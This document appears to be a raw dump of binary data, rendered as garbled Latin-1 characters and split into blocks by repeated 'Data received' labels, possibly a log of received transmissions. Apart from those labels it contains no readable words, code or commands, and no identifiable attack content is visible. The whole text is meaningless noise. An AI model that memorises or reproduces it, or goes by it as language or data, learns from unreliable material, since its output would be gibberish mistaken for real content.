®õ»tÈRÌ®«-l\|Ã±ÂsMýñÒóAc^Ìäkï\\,û¢,/æ·AÔ;'ÀÍãuÕ3¡E²ö-8¼LÌË¾È þ¡ÖVþ îÿiäPª_¢þd«I0?ôd¤iù»Eú¹½j¤Ð}×¶Öè¹°Ñ(4·¦ÓÍ{oÜ0ì¶\²ß±å}Ôk¼èç#¢õv¶²3/¨ªÚxò°õnaÀµI?>¥O®s=\|¡<^1ÂøÉc¤>©UãßkË3J,fcnOjwë Ëw-ä8¡5 ,Wçø×{ý>Fîqèup é»9Ð~åmklò<ýù·µS¨ÏFþ¿PÕ)Í?I¦Õ]ÍQUoülûÅJG#s17ÿþÅíÐ$l´á^ØÂ²]döØ öGÙu1¿Ôphè3h<FBâ7xXÖd=Ì¸Èæ65sI«ÄÆ·Z1Tò*Ä³YTOL~»ñ4EÔ;Mõ ói
Data received	djËÐñVË`!ÍçS{l±{Tò2ì_ÚÍ¸rÆ\Yà÷ ½=Ìî$õpñ.Î³+ìdëðO þÞ«_:o´ÖzÒù?ÅfIWKQWzÐÀNw1sM°@¤½Çb k<]¤dK,PÂÐb~~\|Ê'ÔVòæÑ±Þás¾ÇBü9ªC-zí°Ôêkb=%Nb£úW¶4Ñ8}ñI%{nhJËÿV(fô?Ô7ñ@Î5ÑË<ºãµYöÌÕLm^}EöuÀÅ¨oFG0¹ÛjXiAÆB7 ãþ¥Î´É:Í<¢!(yAìrRk·¾Ïè½ü9RÁ´C"ý® ÔÞ§9{òqNbVÄ9ýd\|K5°Ó´â XÅNÆçÏ±o{-û¿¨Îwf³2ÆÈÊC)yÉ\|ÒHì9ìô4ò Ðg)ÎàÆ=·~uü&FdÝÂÒòE(Xò=ïìTA÷Ã°7Éä^¾ö·QîÒ¨Ð+{]75³²·R`¶K--Ô=ðB¬ü×ÊrêzHâjÎ£áüëÉ'ÞÝjê&â¯HdùX úaÂÚF_e{GYÃËé_«MÂ}7^ùØÛ_J¡õ¾bÁdñÁÅ¸G¦ ( îÅ§tÅ5¯£òbtªÌóVcÀçíBQ ¹4ºÞÅ )]p¶Qà\¨ÜóÉymæWÞÜOlÍ¸UMXyóvôF²ó¹æëQ¶îíéI2ÐV©éÝS+P¾HÓa3f£é;1uDãÂñ°6sa:¸fógnÙ")Ñ?¶àEÞ1«Ð¤Òè©1ÌÀ7+Iç\|Súx£°Ô¾pùò]å]½¬OÞ3êó²¾sòÖcÖ¡xÐÏNÇ²ó_Óm{#\|&ãÂÈÜXÛ¸yàbs;R¯\½ì»c¼ö¬ô0lèÌN¾Í«xëAÆ#½ìÑõ·oE #ò1"X8j#2Ø(O¶{nÃTÆXãò¹³ÜeR«Á%%Õµ2ï>_ì;oùÌöAüN+½\|\,ö?×gOà¦ÛéÊç5#ÄæBagfvóWúUphÛéR¶«L/ÛËvhß<2-¦º`_Ý\\ÀBÍ exÓ±Yq²àøAaÙ;iì^ÃHàP' cßWàx ÍrùÅ8Ó`~þqcBô@Èf`hßt²I`´©O}`bXtì´TÉµEw $rIPr´ÐéË®ð:SÀÎûåðfnû?ËtN3S=É>³ZÑEi IníÆ=®¼`ÀÌõÆSÅ·ÔY¬f¬]]·(Ókq($ÑÙû*(0ø%13\|õæÏQh&éxÒ"}VÑX_(¼9ó²ó±ÎÏ-â¸I¸£+ëv(Ypó,)æó]VÒ TÉªÇc®ÂÕäë(cd« óÏõ©öõ³g¿8SDl%}÷×¯EÂåÅÖ<ÐÁ%m¡ª©mkõ®Ä¡ð;Âz{ÊC¯°\|c´z¼ð\|ËèÊÓd4¦JÃ:®xäugmÍâqö®R¿ ÍlLy£ªR(~Ü?5b×õ>x9 qûÜm4Ìà¡¢å(T§S 0
Data received	7h¨óhyþH±ìßÕ[Z)O(ó}Ý å½®,-ùÓÇVÖ»4e.} à½Ô§Zq@û¶6&Â6 .j§wõó?¿¨G3Qtª0¼ÈÁ+º¡Mzî¯kÈåÁúçAD!;@Ð{cê3Cwé²PÓæD Yêóá÷¢ábDÇaveËpyH)ôÜú¯HT ÙþâðjOÁvD)Jé\| es:!W;ºÙÃ^,8¡ªs"Úþ¦þá hé,ç)¸ µÛàù¯×XB+sz¹Ëm$µ¨} ÿ4Äãc;+Ô®iÕí}ì]£[0ä¼ÙH rr3ßLï Wúh#Pûè lx%ä§tÓK1 Â£EÃ>yÖ§!>Cr%?dëÐà1àBÂ®ý×/U«fcl¨<ï¼ç´¹îÚr ÀÌ°WtKi¡øA{öu4Û[ÔëMé>#5ÜÂ$ëÃ;³Fcëí-à^Ên5:pd OîBCîKXæPî`à&ïR ÈFIW_R¯¿½3¦âxÛ«Ä×²{ï(¥}r¬çXm¬ãQKG¡ÃÞ\O¥r 4J/÷±ã :p)çt~cSÜr:¹Ã2Gê ªãÀÕó8³Â/í;ñ%(ÿ´HÂò¶X8JfODÌÌ`Év¬rªc¾ÍÖ]å.ØCR³¯ôc«îf0½½HøùÏ¥p%¢~pÅoÓå¯æMôH¤ô)L4E)ê©èçZçy J=ÈÁå-!i \|`7 ëÂÂùÅ:¦9¼WNSMÉr$¢ôW¯IàAX üéB kz0Ú×J ÀØf]NaÒìñb¤írÖêóØº¼U2²Òûj ,ÂÁëÆhäûÐÉÙÒCÆZ´{v×ýïêü¢Ó[óVæÚ/Ê)yÊRmqlL 5ÛLs,ÎOVÕã.Ýêd(ucxÀä^Ü?N¯¯¥ÕÔqPYú¸ü¨Êá0¨âWml6L_¹àþïðÙ. Z§Û¹[ä°3QÚ^kÄgçïP.L¼pÅFË76Rä{3yOÏ÷âª§±!«ÿA¯âÞYfdG¶ªj%]µ%ÿ545¥bFÓ{>£xÀ"ìEaIñô°o;O°¾Sö-±ï×ÖÏ;"ÕjÔhÙýE½ß¸c²YBJ}îeú®õk` Bâ~òÚ+@6AC!MYC[~EätNmÅæG]z°Afu¿YÓ!ó0>èWüäÓ# æ01Q1&¦:.´[y·²-]ídÐp`hÏõ^)ðkä´1c¡m/LÓÉÊù9,¨14iÜRvÚhk>r¿Ê<úQ\@@ªhh_6°{^'Á2¬¢Iµ;³ÈÄu«ÖàJSð×CîÃ%Ð^7Wp£3#ëìcKc&<³ì"¤LYw'/¤Hñ0&¯ºû²xÒ²1hv!ÞÄ[JúsÀIÞ©B \|b#G¥Å7ËÇ³Ã^ ©t;0Ç÷:¼Õòz?0kv:<Ì·æ@D¨KÂ8íüB?æ¶³dÇE(IeÏéQÚN1¥`óÙcÿ¥Íòäèå¦ýÈÓÛHÿU·0¤Í²°Fûk·èÇ/:
Data received	lý³³]Ã×ô9o@yXß`óØÙxjzhá¬´#éSÎ\ön¬^VytB?Nvu®³¦åÅ^:Ím¸f¡_£2þC¦QV)rñaÙÖpoÎVÞ£ÿ~9¾X¹þø854½#pEXïétxÎAúXÿ×Î{ÏÅ7dkÓÇí×ñ9SÜÍÛò¬lsk´ªÄæq"ï%Glÿ<þlPÂÑ^èj0¡ºÖTddeëj+¬ÍÈÆLR`Ì7ùÊê¤[oîIæJÇ¿pÇ ø)KÝðdàè#î-[²2-¾ÿÊçÍ±öÏ÷ª}·ÖððÎÕõÃ\C{¿{Õç{ãe)¿ýMP¸ÝxUVGîÒ§Q<ÓÌ'{Ø¡o»µxau³['<Ãua÷l~hÍRE¯¥Ø!4h8¢ëo¾nq ·ãçñ»ñ6âP/èÊ³¥MûR:ü\|óh¾ÚXêÊå¡1È^ãÜ ¼Ã´Z¡oU6nÆdWÍ=VKpÕM '3ÉÃÊÍßeèrQS=§Í<UÒBý¥ Xµ7üUÞs^.8ø!:vÀÚg,YEó¶=r¯¦E"¨dÐõÇ%\|Täuä/-Â5''ûdVíÅeÊý#ÒÄï «P,\ÔU#@EÒ6éÙ§G]¡DBÞ9õ_5ºÍpRb1V±&±¢¾¥<õeøÅvE«e:ö«·{Ñæ àlàl+æÛOBñóY Û^9ÕÍ§¾K^aì ^O39\Ö{ÿ-¬îa[{Åm©xÓVÉã§øÇ@BXÚãv¥g$®§ ¶á$4èÿôZëXªeÕ8â¶`Rø7wmbäø<ücæ'½ëø0îL#áh12òu:X4Ë¼´tä¾ ½"Pb=¦¾Âá\|§®«ÒbS&Y«M¹ìg.MOÞ¨Ö]á àéeÛÆOª-ÆYåKeT¿/Z zÖ]GÏö %cjÉS#PÆ¿É±ÏIsQóUÝYUÒÚ:2[Û"¹ßX1¾´aB/¸{yÔAbË©WZJ<ÈÅuóu;©]£{Å¿úoÐgßèñ·fÌægñÀÊ+=.èS°&Ø5ÆX§è¨ý}m°§ïàßcqy ;±<[dHùéV/ðÉmQ,¼+»6Ób«ëAUÏ¥´h\|é¨JvEòp¥n1c7\|MÆ³ðp4-÷P©Ñ£®w:Âë(©»É¡9ÌÉ(óAbtüVýÂÄ¢yAR<^JÐA\|C{(-QoÒ þ0ÜM{K¶2}Súü¢ê+eÅP«óî¸ðsÖGK µkNÕ³Xr\¦Ðþy"æ&ÐKÐ»®eÕ+J7£§¨Z&B©Òt±x sã>joì?ã\|Xá~5r[B'pá8(ÏVÉýw[6eDTº²?b6oHWÖ2fÿbaLÉ ÷j¸sZq@}æ.¬ñ{Ð£ßâªÒ`qêóVyó,Ã ¤ÅY íÇdíÎ÷µ±vÕ¾;º ²J7}*j&ñ°\ÔYÑPÝ!zT¤RÃÅ{DmpæÉ'+fP%Í©à\|u+¤æjX¢ª¾ÅP{E-MCÖç&'0ª
Data received	,7îÔ¶côIhv\(0ìbÂk×Þøs¾Ô,9ÉTO\ÀÖ%BP»ËUc°sßÜÕ¹ö>0m.S@é.{0Òô¯z:"9ôù0#0ïÀL0:4IÉxîÑ5Ù÷cG· È>±¸r#i 8:rlÂ=]²Yk6¡¬@(xBýæ%6e¦5ò²yCm!5ÃÉmg$~.çc#ýBGK®»ïq<ZiC`;i-8&A/¢?- tµ^¬#öõ¸Ûæ¢Àâ[OüsKveÐú7.·ûkvëfhÊÄ$3¾.ýI¯t¶À¦Eì`ÜA&[T¢ýkd Ö¾ó_Oí9ë)¤ûiyKRO"y¦Æidö"úBi°>°=@EkÈëýÜ¹VÂFê4æ"ÎÇÃ§k»\|^ÂívÌ LÂÄÐÈMP"yÁ~nyîJª3ý£j¨Ù"6ßÑâ^DÎ`.þTþ¸<Ç5û;þ2ÚjlºwÍ2Ð,¼¾¬D®ò4Sö ììVÍZãN2d¼ ÙzÎÜImóÝc ;< ~&PªfµHòÊVÔº3=³®mOÓEaÂ`Å×°%Úzó+.Xzä Böm¨K»UhÐº<.þÖÙÙ£E¥Ôò¦c~údåÉT¡ÎIS j@àt"hì\Þ¤çÉãÆ(¸ä¤©¦²ì;8)à¯Ò%UC}gHnyA\|+{lFÀbAhø_GEj¦ù£áùV¯6w«2¯DgÞDÂß÷lçÄ#D'Ìå®J\|ëJuî¼~ÓxÌÖg\wXlöCøµ¼º$R'\|i°GÊ¿hççWngáÂåZá½J¯ÃúýºÛ>Â^µÞsb%d:hý¨§ØüHn~^ÃµÁ²-'¿{a)ðb#(UsP$ç<SlrAQ"xUÞä5eëâ®Ìc¤¥=·õö@±,ä7L#QÆmÄ>0þGD#²{¬àÎþ¶fEU ;ú\|üY~Í ÑÏJrr`AÉù=wä~-ñDíá\I[hÎýsu5eÜyÍwoh4¨ú-ä4äÄËíô?E]?Æz8Ë£wõG©Á&N8 Ø,Âj¹I¾ºN4¸¿è·m±Ä«îTãÒtÙ?vö9.]5Yi\|2ðyô:Kdîñôiø'¾ }ÈPâ]E.k`Ì%»u &äÓïy#ì=)4i`g7/]ð³²¨=¨d¬"ÙÛ(æª?&#°¥ ñôUÇx"l/l¸óÓÛ"ÓwEËuz$%uåµÉÖkÇ%±ÒÕÀÂq\B)ÖJîgKû©9&Õ ×CíaæóèjnQ<vÈ ( e Äé(äuì¶èÚV&BòýIÙ¢ÖÊâ¸õ÷ ]mn°vyd,ÔÝµfÕ0Ð¾§ÀIqùî±}ÕÙ±¢È]»Ñ§AÔGcnÑdvZf+hET#öõjñME=Û7æø[ÇÁûm&ü"]Sm÷À¤1dÑIvÓèM,¬ÿs/z54Ã±hQòr\|w\õ@Gçsa_£S&XûÌ¾\| ÚYëñÍ
Data received	ÿâ:H]õÿmáõ@äNW¦ç·væ®Ü¡k»ý»éû±>Q©ÄJíÍ [$[F¡ÒæEÖÀ" {ÔÑ+ýµÊTÇHµl+~.Ç¤ª?«TµæÂø² i_¨SË\|>2ÈxðKë?1-¦$s9¹iù["ß«RÜUE¤ØõwÂÞHU!Ü!Þo0-þED¥ªÐ1uzlañ)_ý¸Îc_9®îX>½sË$USÕq6(µÛíbÊÃw¥¡~<'ô=%÷Úè(ÓÇ+ùÍçu/¶rBúÉïºËàÍ/ÈyG+ùi#ËNB;ÿq:ÏÖ gÅðþÝ}\B¯LàMÒsåÙ»ÔwÏN\|wHÊv³M¬!1'®8d8X.»L@yø2xÃtþÍÕL¢²ë#whI}ífk7F2>A²kËFÃWLo2:nX û5FÇW ¬à×iþp[üÐþßÝY°gü¥=öÿÚË¦=ÖQ¡ÍNè& îüÙ(Ð~i#õ=ñÂ3ygWÙ#A/ :VÀZo¹¯ð¥ÀPØYP.1Ã@TÓ¹ÙwVò¥SÕüÇ]íTâ-! Ñ>ÀA#$F¾D;nc=NoDñËE\|ï¬:©9ç¸)IÝæ± íâ {i¨éhùÍÒ¬¶»zÊqYÖín+{m«ÜºÒ¸à^a:ïû¸&}ôÉpGÌXÙÈÉÃ'ØáËC^2@:Ùõc7EÏQ^; 50Y¸bK:P{FÈ»S¦:¶t}Z_4Ì¨åªaµavçM@}ÿPãtõ9:BFÎ&ñÙW:RLÀÃOËiÐ-rôaò,Í\|4è-ñ0M¿iH14áXùµl±Ñ©@°3QÙ<=þz@ëá<æ¢M=Ôhcu`Òqê&>R=¤D¶gýóºË(#)ÏÏ{)'J÷DaÄ9c¹á3Ù³ÈðÕ_µ¥Y¦Lûkïx]ÞõPÿ½;\| vwöäçd c³CýXÃ#F ßåØ¯o(£þC~ù r¨\|Ì¾µ6Ç?èUAÖÐv¬%ð#Üiº 2$6Á'7Þ;â.SÕþYR¦ýªÐIA«¬1ÎÑ¢GÛu/]DAÝpVó¼ª)DMÙz;é®T \¥ÊKV!¨FÏin)û`G¦ÃQîDçØ½9áÃë_B¾°µ¦Ò@¬ »YeÔUI?\ûB[æÀ·ýÚsûÑ)æ§è½õPk¶¨G<(eG«F]+ÿIãµô }HË±xli¿Sÿ£ ¢Iõ.tö@¤©»ù¥éª¤)bÎÞkqÿ`ñ½ê[ç]¦þDÎv¡pZÁEñik¿B4ÍËdû"v°Â¦ð"`8#àM3b"¯¤æø¶=É;9Ý<0îÑ¬þVÖô#yt_QL{4ùG4õOÃ0W\|±âÐ÷«gêe-Êå]M£ ¨7ñ¥ ¶-ûÙ¤ ªÂ!Hªá¤ÀõhÙúÁúU&"MÕê ß·&vckSUÛÈ]áV?G{¹ÄR^1<´çO¦2â
Data received	³¥âæÀ÷T!×Xï_Ú@ ÇØó Z¥ýÚmwöF¶dë3nj¾)þÅïî?¯lrá«ëe`fzY- ±ëcRoòÚ4¹Ïó¾¬ë;M¶ÎB{<9RËb[Èûâj8eaþúÜ=Ü¬× ì»Båþïù½ÇiÁ{<o¶>ÒR?VAý>-d³'ÅX¤)GÿÜ_C/ë#<Û<å¸ZÌF(6(/±Î\|!]!ÓE6¹XB/ ñîôªA&ÚsQÌMMP ®Ñ·Ãj¢×7x7H{¬~\|©LÕa1¬û ¾TGÙÅ{;i@wA=ªµé=¨çQKO3=lb®.Þä%>«æÏíß¥ccÄ`ü @Òc¯¦°ÎªE·Ñê Æh7ó`(¡ó©Ip6ºÎÿeÉ(fýôóK~D#fÅMÚ.$dHæ]PqRÍºy±ûIôá¡>SäXg^ÿ3ê¢SxçöÎB8îtoüÙNõMÅ¢x T¿âÉ4t&Ö×oG?Âv\|P°Z7íæ¾rp`ÊI©´³zóK9Ä¶¬ø¶ø1Á\|Â#$Vx,_2MøÆhîIË5°çp_yzÑÈÖá: 8ðß¨kIEöøâízïÁÆ~ôôZ0¥¡.I¨+MÆÌ¿ÒÍæ¦t¸td¸àåÝA¹DNÞ<bJpÓ¦òÏZèk®`cÒ#JPFÉÎ^v¸á»ô~oXZ_{$ß<vB¯R»Ë¡åIã¡tg`Mà9ÒÝÞtMB¡o4tÜçç f¶ ¸QÃ×Kò¨ÌN1\¾]tR,ÞtëÞö}°ðt÷A±+êß·l55_Ì H\b"¸7ö«q:ÀãÁj_ÈkéÒ5A(¥kõ§lª_¹å%=8W° !q®b¨è-Á~Ø54îë7ºS%·¯btÃ¼sÿKE^øCèòyT[É=¶£æ{ýVT(à?w$ïÒ>_Þ~ú^ %ñ 5ÁÒhàê71÷V_fh¸æÂ"´õhc^ØcÓ¹}çJú¶tC7ÑúÆe-TXÆP÷ôÊ+ÕñÄ&8Æmóáã^ÅB7p¦´^z\Ý°Èoë³ÐÖòù67nMÆZè¿gÄeïcÜXÚÇÐKéC?(ÈB×á·ÕS¿®';ÕQþÜÍ}d46`ázi?bK/5NéÔd^ 3$þo\v{²ªG£kù¯³éñ½YÁÏY¿Ý\|¾Âzé#b àaÆ«7¿ú±UëÆVô+ý&í5=+I\¼Ò¤fsåî'ë6+øzlÁ;.÷!£vbîiÁ>S$YÜ±é©ÂÂHÂdò4í&3Ï¥ßD(¸ûg W§Dä-2Jc§b³{Í¯þJ¹X~÷Ù¬h®4Ã})Å»ÙuaEÔÃ9í,ë÷Öèýâ\|º¼B³û©FK}¤`c²ÅðÊê7xô>øtlô =jU¼¾â-ãæÃDÜc>Ðyú%%GLty¯¿%Z.èíD¯A:ÈÊO¦ªýx}';Q`È»óSÁQhéTMPcØô`g>sZ"mK§ì¼æÊøw¼zë'8åo
Data received	ÑSr¥aO§ë1V(ËCªQéÆ bìdôL¡3PEM` xÁÅ¶ü×³àßÐ ã=I±jÕÐª1ýäåí"ðÓ»ØWk´V¸¾j¦(W_ÇÅòÈ¢lVH$Ïçøû<3ßÐÉ" Ø¡îÉp¹îÙÊ f&%«ÖW\|NWiR¿Û®Ìb³ôÍ°¥1÷c;^Éª/N½$ßf>zßæOZ_¾áåÉ=Î¨Hã?+ ë?NÚ/¢óOéò'bn5îÓIÊ2°§¿åu7¢dö\çØÇpS©#mXØ®1yXíÕô>I9/¨?@?yà÷t÷ËÁ½Vj°pöÍ^Ð¬ËÌovCóÂ±êÍ¦iÆwkÂÓRÙ²Q ã'âéùà?uëRÇz«]xOz1eúÒKZÓÕ}FJG;ußÎ&×fMâUz3Ii¬+d¶¡ôóW{ÔÆò×ISj½<:o0W£zp5æ¼Ë[&fk~_¯+c 8;wEOâ»×b&"(ËiÑ"+J8È%¬Ë>/r2ð¾)M Þ >+Yó£æ ^ÆN·,oSó¢ÌØ«ÔªÜõÑTm>Èobüö6ÚøÏÿäR;¾?qÕÝTA¾¢=Ôo¯,uó6hz¤ýÕ©ðÄê¼7!ÊqCOtú)×oM\|N¬)ÙÍý^ÇD2a½Ä¨mØ+¯¡ÝM%f¯:¶ sL¤tã3ºÜ)¤i±ø3Y#{DÎ¡I%÷çêçòBªî9øg=-O2j ª_Q öT¬,ñUíKO} YÁ¸(æ_À³¤/ýêÚ¶Èìxfpâ§÷òÒ°O`ÃN9§øD7N .'¼äbG}TÓßõÎÍÿ³®¯Íõ§È¾Äu³1ÂMÕBÞÓgk+#ÚR,áÛJ¹4ÊcºÔ ìIú-ú/!íñ,¿-S×Ûï¥hþ~¯æn÷"¯Õ>Ë2ba½Éç´í$¸Æ5ò¶ô8öüJ³X32%;u¹B¦JjWê?+¶öéñ+Jö_Ã=°Eª UÒ0¥Io{,j@FÓÝ0åÚï2 ç¦'®ÞfÇæé_¬{ Aä´3£ Æ=¢óæ:ïÇf9tyê©tìþ¹{äºÔ!uN$S=Etõ²®Ã\×£Ð"&û\)ÑvVKëØ#ÃÂwWäP¡zÑ¼Otðñ×6ªayÙ ±®ìÄ2g/S`¡B¾qqÃÑNØ^:w9on/Ò\|+ß¬+XhK±qÿë àI®>¥'+ç¤þÆý¼~óVí¨¢<çémýiN1dÌSyg Èñr0Jüq×êwêä®>-×´NÐãºÂ¥$"±»l&1(7ZnåXõï·.ñ*ÿí¨µ#J^^ædPr~z«ãÂ·$ë[ íj±w-©% ®]aÑé3ú9ÉÂQø[¾^5 åéx'gk±·¯-å¾Ò×]Ö'0×é1=¡âð}jÎë4uâÐÇ«2ñ_Ûá~r:ëD6 Gã·Ø[3õ®G
Data received	â¦w\·àö>0ÜØ{Ì²ÉÏWP TühMj9èÕOë^5â¯ãÛ²^²!¥ RRpòrïµÂ`y¤Uú._ÃGì«,&RÕ¤Uj¿½ 9Ñ Â¨sÎNY× 8Þ½ ëY-»?ñ¢«<ä3ÝïIÀoonÛ¯~íµÖ 0øTà~¼#gÀF\| äÍ:ÛTø:i¡âæÇ7³Q#Êt¢lúêÞOÀéèû×1Úwn2¯E_úy/CJc_]/rMåá~ÚÂý²Æ(h2LP~mÝ®ú¬ÃïWá]ÙÚÑÊ=M>léAA6°·ºÔÄ¥£P\|Ug!«-qÜBZ^ »Ëq½ÅÜ;Ïôªä3ù3ãESÿ&¡;}~îé³jÛ³§º$$ÞX×ègWbè%¿z}é¢¯þ#-±.{¿Óì(î¹lS@LT¾ÀN¦ygð àAOFm8<.&uJlW§äÕñòýÉUûÕLÊ,y/è%\|ìê#>²æÎY3~{C_6}ÀÝîýMQ0C{øþ Äó¿9âº@õx(OnÆÎmk&ð@:ò\|;8w)èïÙ¤è"ÅÙûQ²ìnÇb¡ äâìD}áå/Zsfµ6mø$DDMµøò`'eV6ó¾d×ôÔÕø9 ýåíêúK?¡!\|¢åyaªÝ1U%,5kl?ûþ´;ÚrFµÊBä ½¯Â¹l)¬²Z>Òje.ÖcØOFzéú$´ìMêJG{Ïuwu6Q»D§nêò-FSrL6,G /ØYIPz;´I_Bãs¸?w#ÆøÁõ_[ç±æ/ÉSÚ`Ò]`\|~Îe®ò`:Û/Jî{,y§°3o1<M°~ äàav8PE æà(ñ.ÒØÏè¯-GS{N.í¬á¦o7`ÁÝÑUÒ ²x¡ ¶`úÂpU9AÌE56Ý[®IW,:õå¹ ÇM@KÈBUí I{èÝôîXÍ 7^ndNy!ÂÍeWæ8ü5ípmôõã#E_à ËUk{ µ1tX°Ò÷gýäFwäD¬ > {AûEL9Ï\²Öü\|CáUªçÚÇJDDºÒÎµ±Ëè80j,AQÈü°²»'¬§þcZBÕÞÒÉ¤*ÔÏåãûÞ Q¯w³KÕ~ e±ÄÒ«ú~I@»ó×ßÉm"Ù¶ iÚcçþøJDGEfÄúÅè¤Ç®¢Õâ'HoWKÅ&®YýI3C¤åtØN2#õYS/ó÷Ë?d«!57uÌ~ J'Lô¿Ô©kë]-NejòIKðì[ÏN¦¡9ÊýYLz÷jØA\|C¬9§oÛ5ÑVwòn ÏÜop¥GRp÷Êq¡Q³jh¬1Ï¡²×f¡M¾» 8r¿ÂûxaÜ´{~`/d&Z >Ú Í-pÅ?]ë©rÂ{£ÄÄ{ã1lÛFùÁ¦-#£ÌpOÃkZJL±ÆûIèÐeÞøðáû°_mz#1Yc{Ð`÷^½ï#<(ðmçî´IYÔP 9mò
Data received	ëå_#É.Æ5ÒàfÂ¢kwðjV^T0fAª´&xèúPî1´G(ïè¸°_nS°WÁ¨Ä[ Ï"ëÐOE!\ÿJe9étdxË}ºh±ñóD³µPúÙý}°¶Èèþ»Váó'æÙ0Xâ±1=ïsu8 ¿¨Ù6°T>Y^{ÅÐ,Êb Í918í(uÕUDÌ 3Ð_>a.åñ'»¨@V~O¤¹ÍIðaÉ¬Í\|è2nYÖ¸ñ³hv"vºÔ³µcö^Bþ¤m^+Â[ÞZû¤ãÆl#Z=á¼'nª~&ö¤WTËH¼&:ÕÄ:^ÍÔIõ¯5j Ä½ªÔíÝ¤iNzýWo±ÎnÛ$ks>JgÕýÀoH1éµÄóà!oä-¹À1óí³¯×ë {?n{ÀPÇS/ RA`«p©ê##²¹\Eaõñ¶Ï4î]kô`où´\|`! ôµX-å´//Êmµ¦³ÔtrÚ~ÈJ\¶à½dé,Ïóg¥Ph¡®zr·Oi@¼"´¥TÙ}=âÝäºZÏKÆX£Lg{èU¹ËÓP_éYîtXÐbâd¹èÄCò\|á£ÓFÉ`Î,³y'Æ±ôlýyçù'×Å%<Oò3¤Êp,O}µÂ_t4<ØÅ5Á@ÿÙ¥ÐCÿ«hÉ :ÚnÖØ"MÏ\|z¸x898,òÊÖË 3wTÝbèÜÁ± 7uGÍzzHyÄÙí%HæõÖÏ`5e]er=9U2fÍ ¶RÓ05¦¡½ÐébùTÉY y¿Ògnoì»ÖÆ°ÅX/Öb¤ñhýT¥¡åmQ1âIt1Z@úÓØBDPH§\|¢AÓÌÍïi ¹5R9Nï>8¥x&èYÙJëgÓ²ê ä&é9àÎJXùyóÃJ7ï8ø¾òAsXÈ±´evÂtÎþ®ì¨SpBcv8fnP¥¬®ý+Ë:Z9^7ÿ»4C]4{¦V¿Õ_ÂmtáÒö\7?i® ÛZýRá6\|vKñý¯üÜõ8áE^?ÌÏ×ç¶òl g«,âUvµÅå·=1ïÈÿ×Ò;ERË®LÉ<xöØx¥oÆÁZtÚ)Ü=ÞáQoÒÔBÔG¯¿2"íyÇ°ÕËeqß£C ¤7ÿêÖÔÛ¾¡·(Î}Eñ3s¸¤D®ªW¢ûIP(×¹Ùàoö7Jä× ®ÀÇhpÆmÞIÌ¤ZºDî¨fKQ¿åWÏöëÓ }®¶!Ý¾O/ayp_¡¡Ü,Æ³g§ÊM ú}.%îVPJ ñw ³kÏHÙÁo[s*Çe[hnØlÖäÓÕñ:ðigñoÙî:Ï¨Y& ©áQK«¢=dþ´èÿ{nrîÓ¼Ò(8\|STàd-EnÏþïy[»[Ö¯å0H<3gþ¡°DÑfýiÙhöH{ßÖ65Y´\ÏA@®}WW"Àô(¿_:¿Z÷=¥D¡ÍB>â»fÑn¿o\FP&äÚ#ÏX¥Añ¹áSv¢±¸.dyP±(IAÁ»9èZ:,&6Ó£¢Âé
Data received	Ù{]î]]¸³Óï6ÐxäFrä ,~ÿ;§b¼6¯µÅcÚÊ>]¼¾Ô<½µ°Çr±)kÈp×Ä´ îBK WQ\|HucG£xn <>AÄ xâUUxK·Yâí)2?´³x¥wÁkÇ<T§ ?IÐ¦Keë8rõl"ÄøÙr[ÕMj¶ªï°"7ìS]×Ä¥ïuqÍj#HÕ°)½ ôàTß[4oÕê´Ô]:¸ºÒóz²¡tçV#ÞZRÚä}I¼%Ê'õ´HºÓ,;»T° wY¥.4¯äuy=e1=nzD»g5%C#ÞýÌ£b4GEìEÌ³ä®øu¨ Ìµ_óÊYùÀõn³Og#¼!äö¼¶¸ÅòÑËð¼ùHY2`ùÎ§s}¹u{\|w{êúÈ6âãËFßÓ8ÚZùûÞ toKß- ã ÐÕâ`ÊVè Àäf»wp^j$VDp±x±'æ\'t"<:IâÙ®¨´¤1Vk=jvjlÞÝp³ª>ºìîHËîä?Ê 2ìet^´&)·§\npooºÒ:PµzÎú8ÎÉ¼wããôn3Rm ÉôâlyJmWôV®£ô8¨.öj½É\| @<i£67ëGiå¯i~ÙP §§yqüTÜãºÝ¹¶¶A»ªÔEÉ`ÅÌJ±@ÞHÁ_ © Ò1ý¬2Ø0§k-³L./.iÎéÑì#×_Îpz·»Å(ä<÷¦ÓéµZJOp¿ªbí`±KÆGTf¥ùÜð 4Ú¯rÂ pÔ;¤ÉÁn ¡Âº@À/9ñÊ®OÄt,»«ÞÖw3©E øá ÷Ú\|¬&ÅâÏõä\¶¯ëv¥ä@õÚ¤DJ²ü\|EbAE~1} ÌÀæ; w·<ÙSjRÁU*7Ì `Âò"- XLÓí§ËÃ9F}Ò'ÇV¼û@~k&0JvA¢HIö t¸\ËÝ5²ªµÏxPÁß9ã_òá%V¿ õo/Q";ÖÊÈÁÎQ)å8ëå]Ì¦o¥$©L½ä9@¤jã5óùm¬ò rGæ¯}s7k§aAüêªô¶º£ñUc³·ç ºV ûÓ5ÛCÇº+çÛÍîh¢ÛL@¯É¾ZJ£ðstþÝ`#C?QÄD´±ÈG]Ï<gmõf£÷ê¾iiê §ÊÂ®JªdK(ËKÃËhw¸óÍõUA&,X÷êYÜ"\ºz£7üs/-ËÜÃ&"½c?/ê8¹SMW÷ èÂú+VÏzKì"ÔpoB©:ßM ç}`-e\|"ÉuõÔ-Î$®§¯^SExèB ÂÍhÁ8¨ýöT(4òE@ ÅåÁgp¬Â9õÅåÃdJ¦o$©²C½wöíé_S@øl×¥cµ_Ìë©ÿ¡dGz{Õu°` ßýqBK>×Ú=s!k;á,3ñGt¡éúöÈ:Aïmqý<Ä_Óñ}aª4éÏ Ú'ûYÚ¤gßíU!SHäWzÌyF Gù¤'Ï÷¤)¬ìùÙÎ
Data received	\ìx((. ÎÁ³)×ÊîV°^ÇéhÒ"ì ÔjK<ÈÔFµ .ú\Ìu-yyzÚ~ü×¾1sNÂ Æ}Jðá»ÿ^6ª'kýîaGàíHäË°ó!²ðW;,Ð¤U9²øN¥3ÈW½´K¢Æ·'§hú«$#°.¨]44xH`<U"øô@XWEÔâ_Uå³ÅªÙ°þR²¿[Léìi?uÖè=.ðùlæê§·Ì½:FGeç/nUy QÜ´£µ¹sìz b¾öÜ¿=ª0p\|ñ®ð·£g²Rª¹O=ªÊ±UÑÅ&º.ç»!Ô5ÈÚKö=´Tx2áÇÂµëkðÖ©j\Wó-±? wÿìpÈu¯á.!pÂ¾ ]»\Ú¨x[SÎ··¯~<4gN~½ÓÀË´,µAÊÀ2nü]£)§ª5è°â¼ Üß×ÉÃ¡ 